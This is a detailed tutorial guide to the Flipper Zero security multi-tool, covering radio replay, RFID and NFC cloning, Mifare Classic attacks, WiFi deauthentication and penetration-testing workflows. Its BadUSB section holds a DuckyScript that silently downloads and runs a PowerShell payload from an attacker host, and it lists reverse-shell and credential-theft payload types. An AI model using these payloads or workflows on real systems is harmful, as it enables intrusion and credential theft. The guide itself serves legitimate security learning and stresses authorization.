Table of Contents

Flipper Zero is the most recognizable multi-tool in the hands-on security community. It fits in a pocket, costs around $170, and packs a sub-GHz radio, 125 kHz RFID reader, NFC antenna, infrared transceiver, iButton port, Bluetooth radio, GPIO expansion header, and a USB port into a device small enough to clip to a keychain. This guide covers every capability in depth, from unboxing through advanced red-team workflows.

Work through each section in order if you are new to Flipper Zero. Skip to the section you need if you already own one and want to go deeper on a specific subsystem.

Hardware Overview

The Flipper Zero runs an STM32WB55 microcontroller. The STM32WB55 is a dual-core Arm Cortex-M4 / Cortex-M0+ chip with an integrated Bluetooth 5.0 radio. The main application runs on the M4 core at up to 64 MHz. The M0+ core handles the Bluetooth stack.

ComponentDetails
MCUSTM32WB55RGV6, Cortex-M4 @ 64 MHz + Cortex-M0+
Flash1 MB internal + external 256 Mbit SPI NOR
RAM256 KB SRAM
Display1.4-inch e-paper (128x64), always-on
Sub-GHz radioCC1101 transceiver, 300–928 MHz
RFID125 kHz analog front-end (EM4100, HID, Indala, and more)
NFCST25R3916B, 13.56 MHz ISO 14443A/B, 15693
IR940 nm transmit LED + TSOP75338 receive sensor
iButton1-Wire interface, DS1990A and touch-memory keys
BluetoothBLE 5.0 (integrated in STM32WB55)
GPIO18-pin header: SPI, I2C, UART, 5V/3.3V power, ADC
USBUSB-C, HID device support (BadUSB / U2F)
Battery2000 mAh Li-Po, USB-C charging, ~30 hours typical
MicroSDUp to 128 GB, FAT32 or exFAT

The e-paper display uses no power while showing a static image. This makes the battery life genuinely exceptional for a device in constant standby.

The CC1101 is a general-purpose sub-GHz transceiver chip from Texas Instruments that covers the 300–348 MHz, 387–464 MHz, and 779–928 MHz ranges. Its programmable nature is what makes the Sub-GHz module so flexible.

Firmware Options

You can run the official Flipper Zero firmware or one of several popular community forks. Each fork unlocks features that Flipper Devices limits for regulatory and legal reasons.

FirmwareDescriptionKey Unlocks
OfficialStock firmware from Flipper DevicesConservative, safest defaults
UnleashedMost popular fork, stability-focusedAll Sub-GHz frequencies, extra protocols
XtremeFeature-rich, actively maintainedCustom UI, extra apps, Sub-GHz unlocks
RogueMasterPacked with third-party appsLargest app bundle out of the box

Install any fork by flashing through the qFlipper desktop app on Windows, macOS, or Linux, or by copying a .dfu file to the SD card and using the device’s update menu.

Unleashed is the safest starting point for research. Xtreme is preferred by users who want the largest feature set. Run official firmware during travel to minimize legal scrutiny.

Sub-GHz Radio

The sub-GHz module is the feature that gets the most attention. It lets you record, analyze, replay, and transmit signals in the frequency ranges used by garage doors, car key fobs, doorbells, wireless weather stations, power outlets, and hundreds of other devices.

Supported Frequency Ranges

  • 300–348 MHz — older remotes, certain U.S. garage door systems
  • 387–464 MHz — European and U.S. devices; 433.92 MHz is the most common global ISM band
  • 779–928 MHz — 868 MHz (Europe), 915 MHz (U.S. ISM), 868 MHz LoRa

Common Modulation Schemes

ModulationWhat it means
AM (ASK/OOK)Amplitude shift keying; simple on/off signal. Used by most simple remotes.
FM (FSK/2-FSK)Frequency shift keying; used by weather stations, some car fobs.
APSKCombination; used by a small number of smart devices.

The Flipper can decode raw OOK signals automatically. It displays them visually on-screen and lets you replay them with one button press. This is what made Flipper Zero famous — static-code rolling-code replay is trivially easy for devices that do not use rolling codes.

Rolling Code vs Static Code

Static-code devices transmit the same signal every time. A Flipper Zero records the signal once and replays it at will. Nearly all inexpensive wireless power outlets, doorbells, and older garage doors use static codes.

Rolling-code devices (KeeLoq, AUT64, and others) change the code after every use. A captured signal cannot be directly replayed. Attacks on rolling-code systems are more complex and require specialized tools and proximity timing. The Flipper Zero cannot defeat modern rolling codes out of the box.

Focus your testing on devices you own. Static-code devices in your own home are an excellent learning target.

Sub-GHz Workflow

  1. Open Sub-GHz from the main menu.
  2. Choose Read to capture a signal. Point the device at a remote and press the remote’s button.
  3. Flipper decodes the signal and shows frequency, modulation, and the raw bit pattern.
  4. Press Save to store it to the SD card.
  5. Press Send (or open the saved file later) to retransmit.

The Frequency Analyzer mode lets you scan the spectrum passively and see which frequencies are active. This is useful for finding unknown transmitters.

Brute Force Attacks

For protocols with small key spaces (such as old key fobs using only a 12-bit or 24-bit static code), the Flipper can run a brute force sequence that tries every possible code. This is effective against very old or inexpensive devices. It is completely ineffective against rolling codes or long key spaces.

Custom firmware includes additional brute-force dictionaries and some manufacturer-specific attack sequences. The Came 12bit, Nice 12bit, Linear 8bit, and Holtek 12bit sequences are commonly included.

RFID (125 kHz Low Frequency)

The 125 kHz RFID module reads and writes low-frequency proximity cards. These are the cards and fobs used in older access control systems, animal microchip tags, and industrial tracking.

Supported Card Types

Card TypeNotes
EM4100 / EM4102Most common, 64-bit read-only. Found in cheap access systems worldwide.
HID ProxPopular in commercial access control (HID Global H10301 and variants).
Indala ProxMotorola / Indala format, older systems.
IoProxKantech IoProx, also common in North American commercial buildings.
FDX-B (ISO 11784/11785)Animal microchip standard.
PyramidFarpointe Data; similar to Indala.
VikingLess common, some European systems.

Reading an LF Card

Hold the Flipper’s top edge (where the antenna is) within a few centimeters of the card or fob. Go to 125 kHz RFID > Read. The device reads the ID within one to two seconds and displays the facility code and card number.

Emulating and Cloning

Once read, you can save the card and later emulate it by selecting the saved file and pressing the button. The Flipper broadcasts the card ID so the reader sees it as the original card.

You can also write the ID to a blank T5577 writable card. T5577 cards are inexpensive (about $0.50 each) and support most low-frequency formats.

Cloning access cards you do not own or are not authorized to test is a criminal offense in most jurisdictions. Always get written authorization before testing any access control system.

LF RFID Limitations

Low-frequency RFID has no cryptographic protection. Anyone with a reader near you can read your card ID. Modern physical security uses high-frequency smart cards (13.56 MHz NFC) with mutual authentication instead.

NFC (13.56 MHz High Frequency)

The NFC module uses the ST25R3916B chip and covers ISO 14443A, ISO 14443B, and ISO 15693. This is the frequency used by contactless payment cards, transit cards, building access smart cards, and NFC tags.

Supported Standards

StandardCommon Use
ISO 14443AMifare Classic, Mifare DESfire, NXP NTAG, credit/debit cards
ISO 14443BSome government IDs, passports (outer layer)
ISO 15693Library tags, some industrial RFID
EMV (Level 1)Contactless payment card metadata read-only
NFC-A/B/F/VGeneral NFC data exchange

Mifare Classic Attacks

Mifare Classic is a 13.56 MHz smart card standard that was theoretically broken in 2008. Many old transit and building access systems still use it. The Flipper Zero can perform several attacks:

  • Read — reads all sectors where the key is the factory default (FFFFFFFFFFFF or A0A1A2A3A4A5).
  • Dictionary attack — tries a list of common keys against locked sectors. Custom firmware includes large key dictionaries.
  • Nested attack — requires at least one known sector key. Uses timing-based cryptanalysis to derive additional sector keys.
  • Darkside attack — works even with zero known keys on some versions of Mifare Classic. Requires Flipper to be positioned within a centimeter of the card.

Once all sectors are read, you can save the full dump and emulate the card. The Flipper emulates it as if it were the original card, including the sector data.

Mifare Classic cards carrying current value (transit fares, parking credits) must not be cloned unless you own and control both the card and the backend system.

Mifare DESfire and Modern Cards

Mifare DESfire EV1/EV2/EV3 cards use AES-128 encryption and mutual authentication. The Flipper Zero cannot read their protected data. It can read the card’s UID and AID list but cannot access any application data without the correct keys. This is by design; DESfire is properly secure.

EMV payment cards — contactless Visa, Mastercard, and Amex — can be read for publicly available metadata (card number on older cards, expiry date, transaction log). Modern cards have reduced the data returned in the public read. The Flipper cannot initiate or intercept actual payment transactions.

NFC Tags and NDEF

NDEF (NFC Data Exchange Format) is the standard format for NFC tags used in marketing, product authentication, and smart labels. The Flipper can read, save, write, and emulate NDEF tags. This is useful for:

  • Cloning NXP NTAG203 or NTAG213 tags for testing
  • Writing custom NDEF payloads (URLs, contact cards, Wi-Fi credentials)
  • Emulating a tag to trigger a phone action without the physical tag

Infrared (IR)

The infrared module consists of a 940 nm LED for transmission and a TSOP75338 demodulator for receiving. It covers virtually every consumer IR remote control protocol.

Supported Protocols (Decoded)

ProtocolCommon Devices
NECMost common; used by LG, Samsung, Panasonic, many others
RC5Philips devices
RC6Philips, Microsoft, cable boxes
Samsung32Samsung TVs and home theater
NECextExtended NEC with 32-bit addresses
SIRC12 / SIRC15 / SIRC20Sony devices
KaseikyoPanasonic, JVC
RCARCA brand remotes

The Flipper also captures and replays raw IR signals for any protocol it cannot decode. Raw capture stores the precise pulse/pause timing and replays it at full fidelity.

The Universal Remote

The Universal Remotes built-in application lets you browse a database of IR codes organized by brand and device category. You can power off TVs, adjust volume on sound bars, and control air conditioning units without a physical remote. The community-maintained IR library on GitHub (flipperzero-ir-relay) contains thousands of additional codes.

In a red team or social engineering engagement, the IR universal remote is effective for causing distractions in environments with visible screens.

Capturing Your Own Remote

  1. Go to Infrared > Learn New Remote.
  2. Point your original remote at the Flipper’s IR receiver window (top edge).
  3. Press each button you want to capture. The Flipper saves each button individually.
  4. Name and save the remote file.
  5. Replay any button from the saved file.

iButton and 1-Wire

iButton (Dallas/Maxim 1-Wire) is a contact-based protocol used in some physical access systems, asset tracking, and temperature sensing. The iButton contact is the small metal disc or cylinder that gets touched to a reader.

Supported Key Types

Key TypeNotes
DS1990AMost common access key; 64-bit unique ID, read-only
DS1992Memory key with 1 KB NVRAM
DS1996Memory key with 64 KB NVRAM
CyfralEastern European access system format
MetacomLess common intercommunication format

Read a key by touching the Flipper’s iButton port (the gold pads on the bottom edge) to the key. Save and emulate it in the same workflow as RFID and NFC. The Flipper can also write key IDs to blank RW1990 writable iButton keys.

GPIO and Hardware Hacking

The 18-pin GPIO header at the top of the Flipper Zero is the hardware hacker’s primary interface. It exposes SPI, I2C, UART, ADC, and power rails.

GPIO Pinout

PinFunction
15V (input, from USB only when connected)
2, 4GND
33.3V out (max 20 mA)
5PA4 / SPI1_MISO / ADC
6PA6 / SPI1_SCK
7PA7 / SPI1_MOSI
8PA3 / UART TX
9PB3 / UART RX
10PC3 / ADC
11PC1 / ADC
12PA0 / ADC
13PB2 / GPIO
14PE3 / SPI1_CS
15PB4 / I2C1_SDA
16PB13 / I2C1_SCL
17PB14 / GPIO / USART1 TX (debug)
18PA8 / GPIO

All GPIO pins operate at 3.3V logic. Do not apply 5V to data pins. Use a level shifter for 5V devices.

UART Console Access

Many embedded devices expose a UART debug console that is left enabled in production. Connecting the Flipper’s UART pins to a target device’s UART TX/RX lets you interact with a serial console and potentially:

  • Drop into a privileged shell
  • Observe boot log output for credentials and system information
  • Flash unsigned firmware if the bootloader menu is accessible

Go to GPIO > USB-UART Bridge or use the GPIO app to open a terminal connection. The Flipper appears as a USB serial port on the connected computer, bridging the UART pins.

SPI and I2C Sensors

Attach any SPI or I2C sensor (accelerometer, barometric pressure sensor, temperature/humidity sensor, OLED display) directly to the GPIO header. Community apps exist for many common chips:

  • SSD1306 OLED display driver
  • BME280 temperature, humidity, and pressure
  • NRF24L01 2.4 GHz radio module (expands wireless attack surface)
  • CC1101 external antenna for improved range on Sub-GHz

JTAG and SWD Debugging

The Flipper GPIO header exposes SWD signals on some pins. Using an adapter, you can use the Flipper as a JTAG/SWD debug probe to:

  • Halt and step through code on a target MCU
  • Read and write flash memory
  • Extract firmware from locked devices using voltage glitching followed by debug access

This is advanced territory. The BlackMagic Probe firmware port for the Flipper makes this workflow practical.

Diagram of Flipper Zero GPIO header showing UART, SPI, I2C, JTAG, and SWD connections to target embedded devices

BadUSB and USB HID Attacks

When plugged into a computer via USB-C, the Flipper Zero enumerates as a USB HID keyboard. This is the BadUSB attack vector — the device types keystrokes automatically without any driver installation.

DuckyScript

Flipper BadUSB scripts use DuckyScript, the same scripting language used by the USB Rubber Ducky from Hak5. A script is a plain text file placed in badusb/ on the SD card.

REM Open a run dialog and launch PowerShell
DELAY 500
GUI r
DELAY 300
STRING powershell -NoP -W Hidden -Exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')"
ENTER

Common BadUSB payloads:

  • Reverse shell — opens a network connection back to an attacker machine
  • Credential dump — runs Mimikatz or similar in-memory tools
  • Persistence — adds a startup entry or scheduled task
  • WiFi password extraction — uses netsh to export saved wireless profiles
  • SSH key injection — adds an attacker key to authorized_keys

BadUSB Defenses

The BadUSB attack works because computers trust keyboards unconditionally. Defenses include:

  • USBGuard (Linux) — whitelist specific USB devices by vendor/product ID
  • USB lock-down group policy (Windows) — disable HID devices from non-whitelisted vendors
  • Physical port blockers — prevent USB insertion in high-security environments
  • Endpoint detection — solutions like CrowdStrike detect rapid-keystroke injection heuristically

U2F Hardware Token

The Flipper Zero can also act as a FIDO U2F hardware security key. The official firmware includes U2F support. You register the Flipper with any site that supports FIDO U2F (GitHub, Google, Cloudflare, and others) and then tap the Flipper’s back button to confirm authentication.

This means the Flipper doubles as a hardware token for your own accounts. It stores the private key material in the MCU’s secure storage.

Bluetooth

The STM32WB55 includes Bluetooth 5.0. The Flipper uses BLE for:

  • Flipper Mobile App — iOS and Android app for file management, firmware updates, and remote control
  • BadBT (community app) — types DuckyScript keystrokes over Bluetooth instead of USB, enabling wireless HID injection against paired Bluetooth hosts
  • BLE scanner — passive scan of nearby BLE advertisements; useful for enumerating IoT devices in a building

The Bluetooth range is modest (roughly 10–30 meters in open air). This is enough for wireless BadUSB delivery from a bag or pocket while standing near a target workstation.

Pairing the Mobile App

  1. Download Flipper Mobile App from the App Store or Google Play.
  2. On the Flipper, go to Settings > Bluetooth > Pair Phone.
  3. Open the app and follow the pairing prompt.
  4. Use the app to browse the SD card, install apps from the catalog, and stream data from sensors.

Custom Firmware Deep Dive

Unleashed Firmware

Unleashed (available at github.com/DarkFlippers/unleashed-firmware) is the most conservative community fork. It removes geographic restrictions on Sub-GHz frequencies and adds extended protocol support while staying close to the official codebase. Stability is the priority.

Key additions over official:

  • Sub-GHz extended frequency range (300–928 MHz unrestricted)
  • Extra Sub-GHz protocols (CAME, Nice, DoorHan, and others)
  • Extra NFC protocols
  • Extended BadUSB DuckyScript support
  • Larger IR database

Xtreme Firmware

Xtreme (available at github.com/Flipper-XFW/Xtreme-Firmware) adds a full custom asset system on top of Unleashed features. You can change the Flipper’s name, splash screen, desktop animations, and LED behavior. The Settings menu is significantly expanded.

Additional features:

  • App Hub with curated third-party apps
  • Extended Sub-GHz and NFC attack payloads
  • RGB LED scripting
  • File management improvements

RogueMaster

RogueMaster bundles the largest collection of third-party apps and community tools, including many that are experimental or situationally risky. It is less stable than Unleashed or Xtreme but gives you the most tools in one install.

Flashing Any Firmware

# Using qFlipper CLI
qFlipper cli -c firmware /path/to/firmware.dfu

# Or place firmware.zip on SD card root, then:
# Settings > Firmware Update > Update from SD Card

Always back up your SD card contents before a firmware update. The update process does not wipe the SD card, but it is good practice.

The Flipper App Ecosystem

Official App Catalog

The official catalog at lab.flipper.net lists apps installable directly from the mobile app. Categories include:

  • Sub-GHz tools
  • NFC utilities
  • Games
  • GPIO sensors
  • Developer tools
  • Music and entertainment

Community App Sources

  • flipc.org — community database of captured Sub-GHz signals, NFC dumps, and IR databases organized by device
  • awesome-flipperzero (GitHub) — curated list of apps, tools, scripts, and hardware add-ons
  • UberGuidoZ Flipper (GitHub) — large repository of sub-GHz captures organized by protocol and manufacturer

Notable Third-Party Apps

AppPurpose
SeaderRead PACS data from smart cards using a Wiegand-aware module
POCSAG PagerDecode POCSAG pager messages on 152–160 MHz
iButton FuzzerBrute-force iButton key spaces
NFC PlaylistCycle through a list of NFC cards automatically
T5577 WriterWrite EM4100/HID data to blank T5577 cards
BLE SpamFlood nearby devices with BLE advertisement packets
ESP32 WiFi MarauderControl WiFi Marauder on an ESP32 WiFi dev board
MetroflipParse and display transit card data
USB Mouse JigglerKeep a screen awake via mouse movement HID

Accessories and Hardware Expansions

WiFi Dev Board

The WiFi Dev Board plugs directly into the Flipper GPIO header. It contains an ESP32-S2 running the WiFi Marauder firmware. This adds full 802.11 b/g/n capabilities:

  • SSID scan — enumerate all nearby access points
  • Beacon spam — broadcast dozens of fake SSIDs to confuse clients and create visible noise
  • Deauth attack — send 802.11 deauthentication frames to disconnect clients from an access point
  • Probe sniff — capture probe requests to identify devices and the SSIDs they remember
  • WPS attack — scan for WPS-enabled routers and attempt PIN enumeration (slow)
  • PMKID capture — capture PMKID hashes for offline cracking without a client

The WiFi Dev Board is controlled through the Flipper’s screen and buttons. No phone or computer is needed.

Sending deauthentication frames against networks you do not own is illegal under the Computer Fraud and Abuse Act (CFAA) in the U.S. and equivalent laws in most countries. Use this in an authorized lab environment only.

Video Game Module

The Video Game Module contains an RP2040 and a small rechargeable battery. It plugs into the GPIO header and adds wireless multiplayer gaming functionality. It can also act as a standalone microcontroller for running custom code that offloads processing from the main STM32.

ESP32 WROOM Module (DIY)

A standard ESP32-WROOM-32 connected to the Flipper GPIO over UART or SPI expands the attack surface further:

  • Full 802.11 WiFi with custom firmware
  • 2.4 GHz Bluetooth Classic + BLE simultaneously with the Flipper’s own BLE
  • External GPIO expansion
  • Web server interface for remote control during physical engagements

Raspberry Pi Zero 2W Header Adapter

Community-designed adapters connect a Raspberry Pi Zero 2W to the Flipper GPIO header. The Pi runs a full Linux environment and communicates with the Flipper over UART or USB serial. This is used for:

  • Long-duration data logging
  • Running Bettercap or Kismet for network reconnaissance
  • Acting as a C2 relay during red team engagements
  • Storing large captures that would overflow a microSD card
Overview of Flipper Zero hardware accessories including the WiFi Dev Board, ESP32 module, and Raspberry Pi Zero GPIO header adapter

Penetration Testing Workflows

Physical Access Bypass Workflow

  1. Use the 125 kHz RFID reader to read employee badges during casual proximity in a lobby.
  2. Clone the badge to a blank T5577 card or emulate it directly from the Flipper.
  3. Use the cloned badge to access secured areas.
  4. Document which readers accepted the cloned credential and report to the client.

This tests whether the facility relies on EM4100 (insecure, cloneable) or modern NFC smart cards (more difficult to clone).

Wireless Device Inventory

  1. Walk the target facility with the Sub-GHz Frequency Analyzer running.
  2. Note all active frequencies and signal types.
  3. Use the Read mode to capture and identify signals from devices like wireless alarm sensors, parking barriers, and HVAC controllers.
  4. Report all static-code devices as high-severity findings.

RFID Survey

  1. Use NFC > Detect Reader mode to make the Flipper behave like a card and detect what readers are present without carrying any credentials.
  2. Identify reader types (Mifare Classic-capable, DESfire, ISO 15693) to assess the security level of each access point.

BadUSB Drop Attack Simulation

  1. Pre-load a DuckyScript payload on the Flipper’s SD card.
  2. Leave the Flipper connected to an unlocked workstation (physical access required).
  3. The script executes automatically: enumerates the host, exfiltrates credentials, and establishes a callback.
  4. Document time-to-execution and detection rates.

This tests the organization’s USB device control policies and endpoint detection coverage.

Wireless Alarm Sensor Testing

Many wireless door and window sensors transmit simple Sub-GHz OOK signals. If they use static codes:

  1. Record the signal from the sensor (triggered by opening a window in an authorized test environment).
  2. Replay the signal to simulate the sensor firing without physically opening the window.
  3. Verify whether the alarm system raises an alert.

This demonstrates whether an attacker could defeat wireless perimeter sensors with a $170 device.

Flowchart of Flipper Zero penetration testing workflows covering physical access bypass, wireless device inventory, RFID survey, and BadUSB drop attack simulation

CTF and Competition Use Cases

Flipper Zero appears in Capture The Flag competitions in physical security categories. Common challenges:

  • Cloning a badge to access a locked box containing a flag
  • Replaying a Sub-GHz signal to unlock a simulated door
  • Decoding an IR signal to recover a hidden message
  • Emulating an NFC tag to authenticate as a different user
  • Using BadUSB to execute a payload on an attended machine

The Flipper’s built-in logging and the large SD card capacity make it easy to archive every signal you collect during a CTF event for later analysis.

Defensive Uses

Security teams use Flipper Zero to audit their own environments:

  • Card audit — read every access card in the facility to identify insecure EM4100 or Mifare Classic systems that should be upgraded to DESfire EV2 or above.
  • Wireless device audit — identify all Sub-GHz devices and flag static-code systems.
  • BadUSB policy testing — verify that USB HID device lockdown policies function correctly.
  • IR remote audit — confirm that sensitive equipment cannot be controlled by an IR universal remote.
  • NFC tag cloneability test — determine whether NFC tags on products or credentials can be cloned.

Flipper Zero is a legitimate security research tool. It is also a tool that can be misused. Your legal exposure depends on jurisdiction and context.

  • Testing devices you own
  • Authorized penetration testing under a signed statement of work
  • Security research in a controlled lab environment
  • Reading your own access cards and remote controls
  • Participating in sanctioned CTF competitions

What Is Generally Illegal

  • Replaying a garage door signal you do not own to gain entry
  • Cloning an access card that grants entry to a building you are not authorized to enter
  • Sending deauthentication frames against a network you do not control
  • Using BadUSB against a computer without written authorization
  • Intercepting private communications (Sub-GHz or otherwise) in most jurisdictions

In the United States, relevant laws include the Computer Fraud and Abuse Act (CFAA), the Electronic Communications Privacy Act (ECPA), and the Federal Communications Commission (FCC) rules on radio frequency transmission. In the EU, similar protections exist under national computer crime laws and the Radio Equipment Directive.

The FCC does not prohibit owning or using a device that can receive sub-GHz signals. Unlicensed transmission on certain frequencies is prohibited. Most sub-GHz consumer devices operate in unlicensed ISM bands (315 MHz, 433 MHz, 915 MHz), and the low power levels involved are typically within Part 15 limits.

Canada attempted to block Flipper Zero imports in 2024 over car theft concerns. This was largely a political response to media coverage of car key relay attacks, not a technically precise concern, since modern automotive keyless entry uses rolling codes and the Flipper cannot defeat them without additional hardware.

Chart comparing authorized versus illegal Flipper Zero use cases under U.S. CFAA and EU computer crime laws with common example scenarios

Setting Up a Development Environment

Building Official Firmware

git clone --recursive https://github.com/flipperdevices/flipperzero-firmware.git
cd flipperzero-firmware

# Install toolchain (Linux/macOS)
./fbt

# Build firmware
./fbt fap_dist

# Flash via USB
./fbt flash_usb_full

The FBT (Flipper Build Tool) handles toolchain installation, dependency fetching, and build orchestration automatically. You need Python 3.8+ and the ARM GCC cross-compiler.

Writing a Custom Application

Applications use the Flipper Application Package (FAP) format. Each app lives in a directory under applications_user/ or applications/.

// Minimal FAP skeleton
#include <furi.h>
#include <gui/gui.h>

static void my_app_draw_callback(Canvas* canvas, void* ctx) {
    canvas_draw_str(canvas, 10, 32, "Hello, Flipper!");
}

int32_t my_app_main(void* p) {
    UNUSED(p);
    ViewPort* view_port = view_port_alloc();
    view_port_draw_callback_set(view_port, my_app_draw_callback, NULL);

    Gui* gui = furi_record_open(RECORD_GUI);
    gui_add_view_port(gui, view_port, GuiLayerFullscreen);

    furi_delay_ms(3000);

    gui_remove_view_port(gui, view_port);
    view_port_free(view_port);
    furi_record_close(RECORD_GUI);
    return 0;
}

Apps interact with the Flipper’s hardware through the Furi (Flipper Universal Registry Implementation) API. Subsystem access is record-based: open a record by name, get a pointer to the subsystem, use it, and close the record.

Using the SD Card Folder Structure

The Flipper expects specific directories on the SD card:

DirectoryContents
subghz/Saved Sub-GHz captures (.sub files)
nfc/Saved NFC dumps (.nfc files)
lfrfid/Saved LF RFID keys (.rfid files)
infrared/Saved IR remotes (.ir files)
ibutton/Saved iButton keys (.ibtn files)
badusb/DuckyScript payloads (.txt files)
apps/Third-party FAP applications
music_player/.fmf music files
dolphin/Dolphin XP save data

Comparing Flipper Zero to Alternatives

DevicePriceSub-GHzNFC/RFIDIRGPIONotes
Flipper Zero~$170Yes (CC1101)Yes (full)YesYesBest all-rounder
HackRF One~$350Yes (SDR)NoNoLimitedFull SDR, much wider range, no built-in NFC
RTL-SDR~$25Receive onlyNoNoNoCheapest SDR for receive-only analysis
Proxmark3~$300NoYes (deep)NoLimitedSuperior RFID/NFC analysis, weaker elsewhere
USB Rubber Ducky~$60NoNoNoNoBadUSB only, no wireless
ChameleonMini~$80NoYesNoLimitedDedicated NFC/RFID emulator
WiFi Pineapple~$100WiFi onlyNoNoNoDedicated 802.11 attack platform

The Flipper Zero wins on breadth. It does not win on depth in any single category. For deep RFID/NFC work, a Proxmark3 is superior. For full SDR work, a HackRF or USRP is far more capable. For 802.11 attacks, a WiFi Pineapple is a better platform. Flipper Zero is the tool to carry when you do not know what you will encounter.

Community Resources

ResourceURLWhat It Is
Official Docsdocs.flipper.netFirmware API, hardware specs
Official GitHubgithub.com/flipperdevicesFirmware source and issue tracker
Unleashed GitHubgithub.com/DarkFlippers/unleashed-firmwareUnleashed fork
Xtreme GitHubgithub.com/Flipper-XFW/Xtreme-FirmwareXtreme fork
flipc.orgflipc.orgCommunity signal database
UberGuidoZ Repogithub.com/UberGuidoZ/FlipperSub-GHz captures, IR databases
awesome-flipperzerogithub.com/djsime1/awesome-flipperzeroCurated resources list
r/flipperzeroreddit.com/r/flipperzeroCommunity Q&A
Flipper Discorddiscord.gg/flipperzeroReal-time community support

Flipper Zero rewards you proportionally to how deeply you engage with it. The out-of-box experience is approachable for beginners: read a card, capture a remote, type a keylogger payload. The depth available once you understand the firmware internals, the GPIO expansion ecosystem, and the community app catalog makes it a career-spanning tool for anyone in physical security, embedded security, or wireless research.

Read your own cards, test your own systems, and get written authorization before testing anyone else’s.

References